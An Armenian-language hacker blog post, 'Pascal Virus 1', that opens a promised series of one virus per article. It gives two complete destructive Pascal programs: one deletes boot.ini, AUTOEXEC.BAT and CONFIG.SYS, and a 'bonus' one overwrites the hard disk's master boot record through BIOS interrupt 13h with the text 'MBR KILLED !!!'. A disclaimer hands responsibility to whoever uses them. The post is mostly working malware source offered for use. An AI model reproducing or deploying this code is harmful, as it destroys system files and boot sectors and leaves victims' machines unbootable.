Պասկալ Վիրուս 1
էն ով էր ասում, որ պասկալը հիմար և հնացած ծրագրավորման լեզու ա??????
Դու? Դե կարդա էս հոդվածը! Գրելու եմ 1 հոդված- 1 վիրուս ձևով (Բացի էս մեկից):
Վիրուս Համար 1:
program virus1; var f : file; begin assign(f, ‘c:/boot.ini’); erase(f); assign(f, ‘c:/AUTOEXEC.BAT’); erase(f); assign(f, ‘c:/CONFIG.SYS’); erase(f) end.
Դե ոնց հասկացար վիրուսը ուղղակի ՈՉՆՉԱՑՆՈՒՄԱ 3 շատ կարևոր ֆայլ և որից հետո համակարգիչը դժվար ապրի:
Բայց քանի որ էս տեմայով առաջին հոդվածն ա + 1 հատ էլ նվեր 
Եթե քեզ թվում ա, որ հասկացար ինչ ա անում էս մեկը Comment գրի
Program virusbonus; uses dos,crt; var reg:registers; f:file; buf: array[1..512] of char; begin buf[1]:=’M'; buf[2]:=’B'; buf[3]:=’R'; buf[4]:=’ ‘; buf[5]:=’K'; buf[6]:=’I'; buf[7]:=’L'; buf[8]:=’L'; buf[9]:=’E'; buf[10]:=’D'; buf[11]:=’ ‘; buf[12]:=’!'; buf[13]:=’!'; buf[14]:=’!'; with reg do begin ah:=3; al:=1; dl:=$80; dh:=0; cx:=1; es:=seg(Buf); bx:=ofs(buf); intr($13,reg) end end.
Ու մի հատ կրացում- Վիրուսը օգտագործելով լրիվ պատասխանատվությունը քո վրա: Ստեղ մենակ սովորի Ու թե ում վրա կփորձես, լրիվ քո գործնա 
Սկզբնաղբյուր: Հայ Հաքեր Բլոգ
Բաժին: Ծրագրավորման լեզուներ, Ծրագրավորում, Ուսումնական նյութեր
